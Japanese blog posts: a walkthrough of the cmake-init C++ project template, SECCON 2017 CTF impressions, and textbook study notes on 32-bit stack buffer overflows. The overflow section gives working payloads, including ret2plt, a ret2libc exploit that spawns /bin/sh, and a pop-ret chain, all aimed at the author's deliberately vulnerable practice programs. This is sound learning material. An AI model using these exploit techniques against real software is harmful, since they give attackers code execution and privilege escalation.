cmake-init C++プロジェクトテンプレート
この記事は初心者C++ Advent Calendar 2017 21日目の記事です。
まず初めにCMakeを簡単に紹介します。CMakeはautotoolsと並んで人気のビルドツールです。やはりautotoolsと同様プラットフォームの違いを吸収してMakefileを生成します。
小規模なプロジェクトでは簡単で便利な一方で,ドキュメントやモジュール等のファイル構成を気にしだすと,設定の柔軟性から様々な選択肢があり,本当に悩めます。Qiita等にも色々と試行錯誤された投稿があるのですが,やはり独自の実装というのは気が引けますし,テストやドキュメントまで考慮されてるものは現状なさそうです。
そこで本記事では,GitHub上で広く流通していると思われるテンプレートであるcmake-initについて書きます。ライセンスはMIT。
環境: Ubuntu 16.04 64bit,cmake-init: 36de51
テンプレートを試す
テンプレートはフィボナッチ数列を計算・表示するプロジェクトになっています。このプロジェクトは共有ライブラリのビルド・結合,テスト,ドキュメントの生成を行っており,これらの書き方を学ぶことができます。それでは見ていきます。
まずは導入です。
sudo apt-get install -y git cmake doxygen graphviz
git clone https://github.com/cginternals/cmake-init
設定ファイルのディレクトリ.localconfig/
を生成します。
./configure
全ての機能を試すために,.localconfig/default
に次の設定を加えます。なおこの設定はcmake-initの用意する,一時的な設定を適用するための方法です。詳細は「一時的な設定」の項で紹介します。
CMAKE_OPTIONS="${CMAKE_OPTIONS} -DOPTION_BUILD_DOCS:BOOL=ON" CMAKE_OPTIONS="${CMAKE_OPTIONS} -DOPTION_BUILD_EXAMPLES:BOOL=ON"
ビルドします。Windowsではgitに付属するgit-bashで実行できます。
./configure
cmake --build build
ここで次の2つのトラブルシューティングを書いておきます:
- 1. Qt5のWarningが出る場合
- 差し当たり無視して大丈夫です。
- モジュールの1つであるfibguiがQt5に依存しています。Qt5がないとこのビルドは無視され全体のビルドには影響はないので,今回は扱わないことにしたいと思います。
- 2. doxygenのdotに関するエラーが出る場合
- graphvizをインストールしてください。
以上の操作により,build/以下に実行バイナリ,依存ライブラリ2つ,テスト用バイナリ,及びドキュメントのビルドが完了しました。
これらのファイルの概要は次の通りです:
名前 | 種類 | 説明 |
---|---|---|
libfiblibfib.so | 共有ライブラリ | フィボナッチ数列の適当な番号を表示する |
libbaselib.so | 共有ライブラリ | data/DATA_FOLDER.txtの内容を読んで表示する |
fibcmd | 実行バイナリ | baselib, fiblibを結合して実行する |
fiblib-test | 実行バイナリ | Google Testによるテストを実行する |
docs/ | ディレクトリ | doxygenの生成結果 |
生成されるドキュメント(build/docs/api-docs/html/index.html)のクラス一覧を見てみます:
最後にインストールを試してみます。
通常のインストールではバイナリは/usr/[local/]bin
,リソースファイルは/usr/[local/]share/
に配置されます。
cd build
sudo make install
以上でインストールできた...はずです。
しかし不明点が1つ。ライブラリをLD_LIBRARY_PATHに追加しておけば起動はできます。が,リソースディレクトリの指定方法が不明で,実行時にDATA_FOLDER.txtの読み込みエラーになってしまいます。
enuf@ubuntu:~$ export LD_LIBRARY_PATH=/usr/local/lib/:$LD_LIBRARY_PATH enuf@ubuntu:~$ fibcmd Library template::baselib ======================================== Version: 2.0.0 Library type: SHARED Data path: data Data directory access ======================================== Reading from 'data/DATA_FOLDER.txt': Unable to open file. Fibonacci library ======================================== CTFibonacci(6) = 8 Fibonacci(8) = 21
自身のプロジェクトに適用する
大まかな変更手順は./ADAPT
(テキストファイル)に書かれています。
プロジェクト全体の設定
最上位のCMakeLists.txtで行います。プロジェクト立ち上げ時に行い大体後はそのままでしょう。
主な設定項目はプロジェクト名,バージョン,ライブラリのビルド方法,テストのビルドの有無等です。
後は各開発者が必要に応じて,一時的な設定ファイル(次項)で設定を上書きする形になります。
一時的な設定
./configure
を実行して生成される.localconfig/以下のシェルスクリプトに設定を記述します。
.localconfig/以下に分離しておくことにより,レポジトリのCMakeLists.txtを変更しなくて良いように設計されています。
主な用途はビルドタイプの設定(Debg, Release),テストをビルドするかのCMakeオプションの指定,環境変数の設定などです。記述例を.localconfig/defaultから抜粋します:
BUILD_TYPE="Release" # Disable tests #CMAKE_OPTIONS="${CMAKE_OPTIONS} -DOPTION_BUILD_TESTS:BOOL=OFF" # Qt #export CMAKE_PREFIX_PATH="${CMAKE_PREFIX_PATH}:/opt/Qt5.2.1/5.2.1/gcc_64/"
CMAKE_OPTIONSの設定は./CMakeLists
モジュールの追加
モジュール(mylib)の追加をチュートリアル形式で進めます。
mylibは足し算を行うsum関数を持ち,fibcmdからリンクして実行されるとします。
下準備
まずはモジュールを追加することを宣言します。./template-config.cmake
を開きます。
set(MODULE_NAMES baselib fiblib mylib )
続いてsource/CMakeLists.txt
も同様に設定します。
add_subdirectory(mylib)
mylibモジュールの作成
次にmylib用のディレクトリを,他のモジュールを参考に作ります。ここでCMakeLists.txtはbaselibからコピーしたものです。
作成するディレクトリツリーは次の通りです:
mylib/ ├── CMakeLists.txt ├── include │ └── mylib │ └── mylib.h └── source └── mylib.cpp
mylib.hを次のものです:
// source/mylib/include/mylib/mylib.h #pragma once <mylib/mylib_api.h> MYLIB_API int sum( int a, int b );
mylib_api.hはsource/codegeneration/template_api.h.in
を元にしてビルド時に作られるヘッダです。
MYLIB_APIマクロは# define MYLIB_API attribute((visibility("default")))
と定義されており,APIとして外部に公開することを表すようです。これがないとリンクエラーになります。
mylib.cppは次のものです:
// source/mylib/source/mylib.cpp #include <mylib/mylib.h> int sum( int a, int b ) { return a + b; }
mylibのCMakeLists.txtを編集し,モジュール名,ヘッダ・ソースのパスを編集します。
# source/mylib/CMakeLists.txt # (前略) set(target mylib) # (中略) set(headers ${include_path}/mylib.h ) set(sources ${source_path}/mylib.cpp )
以上でライブラリmylibのビルド準備が整いました。
examplesモジュールの設定
続いてリンクをする主体であるexamplesモジュールを編集します。
CMakeLists.txtを編集し,mylibへのリンクを記述します。
# source/examples/fibcmd/CMakeLists.txt # (前略) target_link_libraries(${target} PRIVATE ${DEFAULT_LIBRARIES} ${META_PROJECT_NAME}::baselib ${META_PROJECT_NAME}::fiblib ${META_PROJECT_NAME}::mylib )
更にmain.cppを編集し,mylibのsum関数を呼び出します。
// source/examples/fibcmd/main.cpp // (前略) #include <mylib/mylib.h> // (中略) std::cout << "sum(1, 2): " << sum(1, 2) << std::endl; return 0; }
以上で結合が完了しました。
追加した部分の標準出力は次のようになります:
sum(1, 2): 3
結論
cpp-initはお手軽という訳ではないですが,柔軟な設定ができ実用的であるという感触を得ました。
まあ不明点があって断言はできないのですが( ̄  ̄;)
良い点
- すぐに使えること
- 初期状態ですぐに各種ライブラリ,ドキュメント,テストの生成ができる状態になっている
- Out of Sourceビルドができること
- Out of Sourceビルドができるためビルド時にリポジトリを汚さない
- また煩わしい
mkdir build && cd build && cmake .. && make
が必要ない - 大規模なプロジェクトにも対応できる
- 通常のCMakeではモジュール間のリンクが手間(add-subdirectoryが並列ディレクトリに適用できないため)だが,これが容易
悪い点
- 設定の敷居が少し高い
- 理由1. 一部に高度なCMakeの知識が必要なこと
- 理由2. ドキュメントが少ない
- CMakeLists.txtの記述の重複が多いこと
- モジュールごとにディレクトリを分けるタイプの構成だとCMakeLists.txtに重複する記述が多く発生する
- 柔軟性を担保するためかもしれないが,ここはプロジェクトごとに改善しても良さそう
おわりに
実は本調査のきっかけは,業務でプロジェクトを立ち上げた際にCMakeで独自のビルド構成を作っていたことでした。
もう少し理解が進んだらこっちを使っていきたい~
SECCON 2017に参加してみました
チームlryhとして参加しました! 私が解けたのは100P(1番易しい)4問。ザコ専ですよ! 笑
それでも楽しめたし,勉強にもなった。
雑感
一応セキュリティコンテストと銘打ってますが,あまりセキュリティ関係なくないですか! どちらかというと,IT技術の総合格闘技といった印象でした。
想定より (事前調査しろよという話ですが) プログラムを書く必要があって少し驚きました。BoostとOpenCV入れるところから始めましたよ。詰まった際の対処に自信がなく今回はC++で解きましたが,やはり書き捨てはPythonの方が早いので,次回は準備しておきたいです。
感覚的にはクイズを解くようなイメージで,そこが凄く楽しめました。そして他の人のWrite-Upを見て感動..。
得意とするReversingは不発で残念だった。もっと色んなバリエーションの解析を練習する必要があると感じました。
解いた問題の感想
色々な人がWrite-Upを書かれています。私は感想だけ簡単に。
Run me! (Programming 100P)
フィボナッチ数列の問題。解けました。
普通に実行すると日が暮れてしまうので高速化します。
全然知らなかったのですが,Pythonって任意精度の計算をしてくれるんですね。私は桁あふれを懸念してBoostのcpp_intで書いてしまいました。勉強になります。
putchar music (Programming 100P)
謎のC言語の1ラインコードの問題。解けました。
標準出力をPCM PlayerにPipeすると某映画の音楽が流れる。このネタ全然知らず,結構解析に時間を使ってしまいました 泣!
チームメンバ曰く,竹迫先生が学会でLT発表していたそうですね。
echo "main(t){for(;;t++)putchar((t*3&t>>5)|(t*5&t>>7));}">a.c&&gcc a.c 2>/dev/null&&sudo sh -c "./a.out>/dev/dsp" #css2017_ipsj CSSx2.0
— Yoshinori (y0sh1) (@takesako) 2017年10月23日
ところでこのプログラム,私の環境で実行するとHDDが「ビビビビ...」って悲鳴を上げるんですよ。もしや入出力を制御して動作音で音楽を制御...(ピカーン!) とか思い筐体に耳を近づけてしまいました。あほか! 笑
Baby Stack (PWN 100P)
スタンダードなPWNの問題です。正答者少なく着手しませんでした...。時間終了後やってみたら意外に解けました。
ROPの考え方自体は定石通りで良いのですが,Go言語で書かれており解析に少し時間がかかりました。色んな言語での演習を積んでおかないとと反省。
JPEG file (Binary 100P)
Jpegの画像が1ビットだけ壊れているそうで,復元する問題です。一応解けました。
最初はヘッダの内容をツールで解析。その後直接バイナリ等を調べてみるも良くわからず。
もうね。ファイルは12kbなので総当たりで調べましたよ。全ビットを1つずつ反転した画像を出力して,あとはWindowsのプレビュー機能でみる。簡単ですね (ニッコリ)
ヘッダが怪しいと睨んでいた通り,最初の1024バイトの総当たりだけで答えが出ました。
#include <bits/stdc++.h> #include <boost/filesystem.hpp> using namespace std; namespace fs = boost::filesystem; int main() { const fs::path src( "tktk-892009a0993d079214efa167cda2e7afc85e6b9cb38588cba9dab23eb6eb3d46" ); int number = 0; for( int i = 0; i < 1024; ++i ) { for( int j = 0; j < 8; ++j ) { // Copy it const fs::path dst( string("img/") + to_string(number) + string(".jpg") ); fs::copy_file( src, dst, fs::copy_option::overwrite_if_exists ); // Open copied file FILE* fp = fopen( dst.c_str(), "r+b" ); if( fp == NULL ) { fputs( "No such file\n", stderr ); exit( EXIT_FAILURE ); } // Rewrite bit unsigned char c = 0; fread( &c, 1, 1, fp ); c ^= 1 << j; // Reverse j-th bit fseek( fp, i, SEEK_SET ); // back because fp was moved by fread fwrite( &c, 1, 1, fp ); // Finalize fclose( fp ); ++number; } } }
ハリネズミ本 PWN (BOF)
CTF初心者です。ハリネズミの2章 PWNをなぞりました。
セキュリティコンテストチャレンジブック CTFで学ぼう!情報を守るための戦い方
- 作者: 碓井利宣,竹迫良範,廣田一貴,保要隆明,前田優人,美濃圭佑,三村聡志,八木橋優
- 出版社/メーカー: マイナビ出版
- 発売日: 2015/09/30
- メディア: Kindle版
- この商品を含むブログを見る
まず様々なツールが整備されていることに感動。peda, checksec, pwntools, etc...。この手のツールを知ってる知らないでは差がつくのは確実だなあ。本書ではELFのみ扱ってるけどPEも同様に対策必要だろうし...まだスタートラインにも居ないと確信(;^ω^)
Reversingの事前知識はあったので問題自体は易しめに感じました。
では書いてあった内容を記憶を元に書き殴っておきます。
BOFでスタックの変数の書き換え
seq, hundred共に0で初期化されているが,これをそれぞれ0x12345678,100に変更する標準入力を考える。
// ビルド: gcc bof1.c -m32 -o bof1 -fno-stack-protector #include <stdio.h> int main(int argc, char *argv[]) { int hundred = 0; int seq = 0; char buffer[10]; printf("buffer address\t= %x\n", (int)buffer); printf("seq address\t= %x\n", (int)&seq); printf("hundred address\t= %x\n", (int)&hundred); fgets(buffer, 64, stdin); printf("seq = 0x%x\n", seq); printf("hundred = %d\n", hundred); if(seq == 0x12345678) { printf("seq OK"); } if(hundred == 100) { printf("hundered OK"); } return 0; }
題意を満たす標準入力はecho -e 'AAAAAAAAAA\x78\x56\x34\x12\x64\x0\x0\x0' | ./bof1
だ(Aは任意の文字)。
Return to PLT(ret2plt)
BOFでリターンアドレス(関数の戻り先の命令のアドレス)を改ざんし,共有ライブラリの関数にPLT経由で飛ばす攻撃。
main関数の戻り先にprintf関数を指定し,bufferの内容を表示する処理を考える。
// ビルド: gcc bof3.c -m32 -o bof3 -no-ssp -fno-stack-protector #include <stdio.h> #include <string.h> char buffer[32]; int main(int argc, char *argv[]) { char local[32]; printf("buffer: 0x%x\n", &buffer); fgets(local, 128, stdin); strcpy(buffer, local); return 0; }
まず前提知識を説明する。関数呼び出し時,内部動作としてスタックに「①引数,②リターンアドレス,③呼び出す関数のアドレス」を順に積む。今回はprintf関数を呼び出すことが目標であるから,EIPのアドレスをprintf関数のものに書き換えるだけではなく,スタックの情報を模擬する必要がある。
EIPの奪取
標準入力でリターンアドレスを上書きできるかを確認する。これには標準入力に適当な長い文字列を入力すれば良い。もしリターンアドレスが上書きできれば,EIPが予期しない領域を指しSIGSEGVで落ちる。
試しに(AA...A)を入力すると,SIGSEGVが起きEIPの値がAAAAに変化した。即ち,標準入力でリターンアドレスを上書きできることが確認できた。
次に長い(AA...A)の文字列の中のどこがEIP(リターンアドレス)に書き換わるかを確認するために,pedaのパターン文字列を利用する。
peda上でpattern_create 50
を実行しAAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
を得た。これをプログラムに入力する。
gdb-peda$ r Starting program: /home/enuf/ctf/pwn/book/bof3 buffer: 0x804a060 AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
するとSIGSEGVで落ち,EIPの値を確認して0x41414641 (b'AFAA')
だと分かる。
AFAAが何番目の文字列であるは目で数えても良いが,以下のgdb-peda
コマンドを使う。
gdb-peda$ patto AFAA
AFAA found at offset: 44
offsetが44であるから,AFAAは45番目から現れる文字列である。従ってAを44回連続し,その後に攻撃対象の関数,すなわちprintf関数のアドレスに書き換えれば良いことが分かった。
PLT上のprintf関数のアドレスの取得
printfのplt上のアドレスはobjdumpコマンドで知ることができる。
# -d: disassembleを表示, -M: dissassembleのオプション, -j: セクション, --no-show-raw-insn: バイトコードを非表示 enuf@ubuntu:~/ctf/pwn/book$ objdump -d -M intel -j .plt --no bof3 bof3: file format elf32-i386 Disassembly of section .plt: 08048340 <printf@plt-0x10>: 8048340: push DWORD PTR ds:0x804a004 8048346: jmp DWORD PTR ds:0x804a008 804834c: add BYTE PTR [eax],al ... 08048350 <printf@plt>: 8048350: jmp DWORD PTR ds:0x804a00c 8048356: push 0x0 804835b: jmp 8048340 <_init+0x28> (後略)
以上により0x08048350を呼び出せば良いことが分かる。
リターンアドレスの書き換え
求める標準入力は「⓪: 引数の位置まで移動 (Aを44文字),① printf関数の引数のアドレス(&buffer),② リターンアドレス(本題ではないので適当にBBBBを挿入),③ PLT上のprintf関数のアドレス(0x08048350)」である。
enuf@ubuntu:~/ctf/pwn/book$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x50\x83\x04\x08BBBB\x60\xa0\x04\x08' | ./bof3 buffer: 0x804a060 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP�BBBB`� Segmentation fault (core dumped)
Return to Libc(ret2libc)
BOFでリターンアドレスを改ざんし,共有ライブラリ(特に標準Cライブラリ)の関数に飛ばす攻撃。
前回の標準入力を変えて,libcのsystem関数経由でbashを呼び出すことを考える。
ret2pltと基本的な仕組みは同じ。少し異なるのは,ASLRが有効の場合,共有ライブラリがリンクされるアドレスが起動毎に異なること。先述の通り今回はASLRを無効にして考えている。
さて,やることはリターンアドレスをsystem関数のものに書き換えて,引数で/bin/sh\x00
を渡すことである。前者については,ret2pltと同様に行う。後者については,標準入力の先頭を/bin/sh\x00
としておけば,strcpyでlocalからbufferにコピーされる。/bin/sh\x00
は8文字だから,その分Aを36文字に調整する。
今system関数のアドレスは0xf7e54e70である。
以上で標準入力に必要な情報が得られた。実行結果を次に示す。
enuf@ubuntu:~/ctf/pwn/book$ (echo -e '/bin/sh\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x70\x4e\xe5\xf7BBBB\x60\xa0\x04\x08'; cat) | ./bof3 buffer: 0x804a060 ls = bof3.c bof3 exit Segmentation fault (core dumped)
成功。このようにEIPを奪えてかつW/X可能な領域があれば,そのユーザの権限を奪えることになる。なお攻撃対象のプログラムがsetuidを持つ場合にはroot権限を奪うこともできる。
popret gadget
コード領域のPOP-RETを利用する攻撃。
system関数の後にexit関数を呼び出すことで,正常終了することを考える。
rp++
を使ってgadgetを探す。
enuf@ubuntu:~/ctf/pwn/book$ rp -f bof3 -r 1 | grep pop 0x0804855f: pop ebp ; ret ; (1 found) 0x08048339: pop ebx ; ret ; (1 found) 0x08048586: pop ebx ; ret ; (1 found)
次に関数呼び出しのためのスタックを構成する。スタックはFIFOだから,exit関数, system関数の順に考える。
- exit関数の引数: 0
- exit関数のリターンアドレス: BBBB (ダミー)
- exit関数のアドレス: 0xf7e47f50
- system関数の引数のアドレス: 0x0804a060 (&buffer)
- system関数のリターンアドレス: &0x0804855f (popretのアドレスを1つ選ぶ)
- system関数のアドレス: 0xf7e54e70
以上で標準入力に必要な情報が得られた。実行結果を次に示す。
enuf@ubuntu:~/ctf/pwn/book$ (echo -e '/bin/sh\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x70\x4e\xe5\xf7\x5f\x85\x04\x08\x60\xa0\x04\x08\x50\x7f\xe4\xf7BBBB0'; cat) | ./bof3 ls = bof3.c bof3 exit
成功。EXITにより正常終了することができた。